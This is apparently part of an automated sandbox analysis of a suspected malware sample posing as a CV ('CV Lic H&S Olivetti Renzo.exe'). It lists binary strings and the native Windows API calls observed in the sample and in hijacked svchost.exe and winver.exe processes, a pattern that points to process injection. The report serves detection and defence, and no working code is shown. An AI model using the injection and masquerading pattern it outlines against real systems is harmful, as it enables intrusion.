Source: CV Lic H&S Olivetti Renzo.exe	String found in binary or memory: CSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_ca040193-6

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0042C9F3 NtClose,	1_2_0042C9F3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040AA5D NtResumeThread,	1_2_0040AA5D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A72B60 NtClose,LdrInitializeThunk,	1_2_03A72B60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A72DF0 NtQuerySystemInformation,LdrInitializeThunk,	1_2_03A72DF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A735C0 NtCreateMutant,LdrInitializeThunk,	1_2_03A735C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A74340 NtSetContextThread,	1_2_03A74340
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A74650 NtSuspendThread,	1_2_03A74650
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A72BA0 NtEnumerateValueKey,	1_2_03A72BA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A72B80 NtQueryInformationFile,	1_2_03A72B80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A72BE0 NtQueryValueKey,	1_2_03A72BE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A72BF0 NtAllocateVirtualMemory,	1_2_03A72BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A72AB0 NtWaitForSingleObject,	1_2_03A72AB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A72AF0 NtWriteFile,	1_2_03A72AF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A72AD0 NtReadFile,	1_2_03A72AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A72FA0 NtQuerySection,	1_2_03A72FA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A72FB0 NtResumeThread,	1_2_03A72FB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A72F90 NtProtectVirtualMemory,	1_2_03A72F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A72FE0 NtCreateFile,	1_2_03A72FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A72F30 NtCreateSection,	1_2_03A72F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A72F60 NtCreateProcessEx,	1_2_03A72F60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A72EA0 NtAdjustPrivilegesToken,	1_2_03A72EA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A72E80 NtReadVirtualMemory,	1_2_03A72E80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A72EE0 NtQueueApcThread,	1_2_03A72EE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A72E30 NtWriteVirtualMemory,	1_2_03A72E30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A72DB0 NtEnumerateKey,	1_2_03A72DB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A72DD0 NtDelayExecution,	1_2_03A72DD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A72D30 NtUnmapViewOfSection,	1_2_03A72D30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A72D00 NtSetInformationFile,	1_2_03A72D00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A72D10 NtMapViewOfSection,	1_2_03A72D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A72CA0 NtQueryInformationToken,	1_2_03A72CA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A72CF0 NtOpenProcess,	1_2_03A72CF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A72CC0 NtQueryVirtualMemory,	1_2_03A72CC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A72C00 NtQueryInformationProcess,	1_2_03A72C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A72C60 NtCreateKey,	1_2_03A72C60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A72C70 NtFreeVirtualMemory,	1_2_03A72C70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A73090 NtSetValueKey,	1_2_03A73090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A73010 NtOpenDirectoryObject,	1_2_03A73010
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A739B0 NtGetContextThread,	1_2_03A739B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A73D10 NtOpenProcessToken,	1_2_03A73D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A73D70 NtOpenThread,	1_2_03A73D70
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_05024650 NtSuspendThread,LdrInitializeThunk,	6_2_05024650
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_05024340 NtSetContextThread,LdrInitializeThunk,	6_2_05024340
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_05022D10 NtMapViewOfSection,LdrInitializeThunk,	6_2_05022D10
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_05022D30 NtUnmapViewOfSection,LdrInitializeThunk,	6_2_05022D30
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_05022DD0 NtDelayExecution,LdrInitializeThunk,	6_2_05022DD0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_05022DF0 NtQuerySystemInformation,LdrInitializeThunk,	6_2_05022DF0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_05022C60 NtCreateKey,LdrInitializeThunk,	6_2_05022C60
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_05022C70 NtFreeVirtualMemory,LdrInitializeThunk,	6_2_05022C70
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_05022CA0 NtQueryInformationToken,LdrInitializeThunk,	6_2_05022CA0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_05022F30 NtCreateSection,LdrInitializeThunk,	6_2_05022F30
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_05022FB0 NtResumeThread,LdrInitializeThunk,	6_2_05022FB0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_05022FE0 NtCreateFile,LdrInitializeThunk,	6_2_05022FE0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_05022E80 NtReadVirtualMemory,LdrInitializeThunk,	6_2_05022E80
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_05022EE0 NtQueueApcThread,LdrInitializeThunk,	6_2_05022EE0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_05022B60 NtClose,LdrInitializeThunk,	6_2_05022B60
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_05022BA0 NtEnumerateValueKey,LdrInitializeThunk,	6_2_05022BA0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_05022BE0 NtQueryValueKey,LdrInitializeThunk,	6_2_05022BE0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_05022BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	6_2_05022BF0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_05022AD0 NtReadFile,LdrInitializeThunk,	6_2_05022AD0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_05022AF0 NtWriteFile,LdrInitializeThunk,	6_2_05022AF0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_050235C0 NtCreateMutant,LdrInitializeThunk,	6_2_050235C0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_050239B0 NtGetContextThread,LdrInitializeThunk,	6_2_050239B0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_05022D00 NtSetInformationFile,	6_2_05022D00
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_05022DB0 NtEnumerateKey,	6_2_05022DB0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_05022C00 NtQueryInformationProcess,	6_2_05022C00
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_05022CC0 NtQueryVirtualMemory,	6_2_05022CC0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_05022CF0 NtOpenProcess,	6_2_05022CF0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_05022F60 NtCreateProcessEx,	6_2_05022F60
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_05022F90 NtProtectVirtualMemory,	6_2_05022F90
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_05022FA0 NtQuerySection,	6_2_05022FA0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_05022E30 NtWriteVirtualMemory,	6_2_05022E30
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_05022EA0 NtAdjustPrivilegesToken,	6_2_05022EA0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_05022B80 NtQueryInformationFile,	6_2_05022B80
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_05022AB0 NtWaitForSingleObject,	6_2_05022AB0
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_05023010 NtOpenDirectoryObject,	6_2_05023010
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_05023090 NtSetValueKey,	6_2_05023090
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_05023D10 NtOpenProcessToken,	6_2_05023D10
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_05023D70 NtOpenThread,	6_2_05023D70
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_03029310 NtCreateFile,	6_2_03029310
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_03029780 NtAllocateVirtualMemory,	6_2_03029780
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_03029610 NtClose,	6_2_03029610
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_03029570 NtDeleteFile,	6_2_03029570
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_03029480 NtReadFile,	6_2_03029480

Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe

Code function: 0_2_003C6606: CreateFileW,DeviceIoControl,CloseHandle,

0_2_003C6606

Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe

Code function: 0_2_003BACC5 _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

0_2_003BACC5

Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe

Code function: 0_2_003C79D3 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

0_2_003C79D3

Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_003AB043	0_2_003AB043
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_00393200	0_2_00393200
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_00393B70	0_2_00393B70
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_003B410F	0_2_003B410F
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_003A02A4	0_2_003A02A4
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_003B038E	0_2_003B038E
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_0038E3E3	0_2_0038E3E3
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_003B467F	0_2_003B467F
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_003A06D9	0_2_003A06D9
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_003EAACE	0_2_003EAACE
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_003B4BEF	0_2_003B4BEF
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_003ACCC1	0_2_003ACCC1
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_00386F07	0_2_00386F07
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_0038AF50	0_2_0038AF50
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_0039B11F	0_2_0039B11F
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_003E31BC	0_2_003E31BC
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_003AD1B9	0_2_003AD1B9
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_003A123A	0_2_003A123A
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_003B724D	0_2_003B724D
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_003893F0	0_2_003893F0
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_003C13CA	0_2_003C13CA
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_0039F563	0_2_0039F563
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_003CB6CC	0_2_003CB6CC
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_003896C0	0_2_003896C0
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_003877B0	0_2_003877B0
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_003EF7FF	0_2_003EF7FF
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_003B79C9	0_2_003B79C9
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_0039FA57	0_2_0039FA57
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_00389B60	0_2_00389B60
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_00387D19	0_2_00387D19
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_0039FE6F	0_2_0039FE6F
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_003A9ED0	0_2_003A9ED0
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_00387FA3	0_2_00387FA3
Source: C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe	Code function: 0_2_019FD628	0_2_019FD628
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004188E3	1_2_004188E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004100EA	1_2_004100EA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004100F3	1_2_004100F3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00403150	1_2_00403150
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004011F0	1_2_004011F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00416AEE	1_2_00416AEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00416AF3	1_2_00416AF3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040E2F3	1_2_0040E2F3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00410313	1_2_00410313
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040E443	1_2_0040E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00401C60	1_2_00401C60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00402C7B	1_2_00402C7B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040E438	1_2_0040E438
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00402C80	1_2_00402C80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040E48C	1_2_0040E48C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00404754	1_2_00404754
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0042EFD3	1_2_0042EFD3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A4E3F0	1_2_03A4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B003E6	1_2_03B003E6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AFA352	1_2_03AFA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AC02C0	1_2_03AC02C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AE0274	1_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AF41A2	1_2_03AF41A2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B001AA	1_2_03B001AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AF81CC	1_2_03AF81CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A30100	1_2_03A30100
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03ADA118	1_2_03ADA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AC8158	1_2_03AC8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AD2000	1_2_03AD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A3C7C0	1_2_03A3C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A40770	1_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A64750	1_2_03A64750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A5C6E0	1_2_03A5C6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B00591	1_2_03B00591
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A40535	1_2_03A40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AEE4F6	1_2_03AEE4F6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AE4420	1_2_03AE4420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AF2446	1_2_03AF2446
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AF6BD7	1_2_03AF6BD7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AFAB40	1_2_03AFAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A3EA80	1_2_03A3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A429A0	1_2_03A429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B0A9A6	1_2_03B0A9A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A56962	1_2_03A56962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A268B8	1_2_03A268B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A6E8F0	1_2_03A6E8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A4A840	1_2_03A4A840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A42840	1_2_03A42840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03ABEFA0	1_2_03ABEFA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A32FC8	1_2_03A32FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A82F28	1_2_03A82F28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A60F30	1_2_03A60F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AE2F30	1_2_03AE2F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AB4F40	1_2_03AB4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A52E90	1_2_03A52E90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AFCE93	1_2_03AFCE93
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AFEEDB	1_2_03AFEEDB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AFEE26	1_2_03AFEE26
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A40E59	1_2_03A40E59
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A58DBF	1_2_03A58DBF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A3ADE0	1_2_03A3ADE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A4AD00	1_2_03A4AD00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03ADCD1F	1_2_03ADCD1F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AE0CB5	1_2_03AE0CB5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A30CF2	1_2_03A30CF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A40C00	1_2_03A40C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A8739A	1_2_03A8739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AF132D	1_2_03AF132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A2D34C	1_2_03A2D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A452A0	1_2_03A452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AE12ED	1_2_03AE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A5D2F0	1_2_03A5D2F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A5B2C0	1_2_03A5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A4B1B0	1_2_03A4B1B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A7516C	1_2_03A7516C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A2F172	1_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B0B16B	1_2_03B0B16B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AF70E9	1_2_03AF70E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AFF0E0	1_2_03AFF0E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AEF0CC	1_2_03AEF0CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A470C0	1_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AFF7B0	1_2_03AFF7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AF16CC	1_2_03AF16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A85630	1_2_03A85630
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03ADD5B0	1_2_03ADD5B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AF7571	1_2_03AF7571
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AFF43F	1_2_03AFF43F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A31460	1_2_03A31460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A5FB80	1_2_03A5FB80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AB5BF0	1_2_03AB5BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A7DBF9	1_2_03A7DBF9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AFFB76	1_2_03AFFB76
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03ADDAAC	1_2_03ADDAAC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A85AA0	1_2_03A85AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AE1AA3	1_2_03AE1AA3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AEDAC6	1_2_03AEDAC6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AB3A6C	1_2_03AB3A6C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AFFA49	1_2_03AFFA49
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AF7A46	1_2_03AF7A46
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AD5910	1_2_03AD5910
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A49950	1_2_03A49950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A5B950	1_2_03A5B950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A438E0	1_2_03A438E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AAD800	1_2_03AAD800
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AFFFB1	1_2_03AFFFB1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A41F92	1_2_03A41F92
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AFFF09	1_2_03AFFF09
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A49EB0	1_2_03A49EB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A5FDC0	1_2_03A5FDC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AF7D73	1_2_03AF7D73
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A43D40	1_2_03A43D40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AF1D5A	1_2_03AF1D5A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AFFCF2	1_2_03AFFCF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03AB9C32	1_2_03AB9C32
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe	Code function: 5_2_02C4D389	5_2_02C4D389
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe	Code function: 5_2_02C53B64	5_2_02C53B64
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe	Code function: 5_2_02C53B69	5_2_02C53B69
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe	Code function: 5_2_02C4B369	5_2_02C4B369
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe	Code function: 5_2_02C6C049	5_2_02C6C049
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe	Code function: 5_2_02C5595C	5_2_02C5595C
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe	Code function: 5_2_02C4D160	5_2_02C4D160
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe	Code function: 5_2_02C4D169	5_2_02C4D169
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe	Code function: 5_2_02C417CA	5_2_02C417CA
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe	Code function: 5_2_02C4B4B9	5_2_02C4B4B9
Source: C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe	Code function: 5_2_02C4B502	5_2_02C4B502
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_050B0591	6_2_050B0591
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_05094420	6_2_05094420
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_050A2446	6_2_050A2446
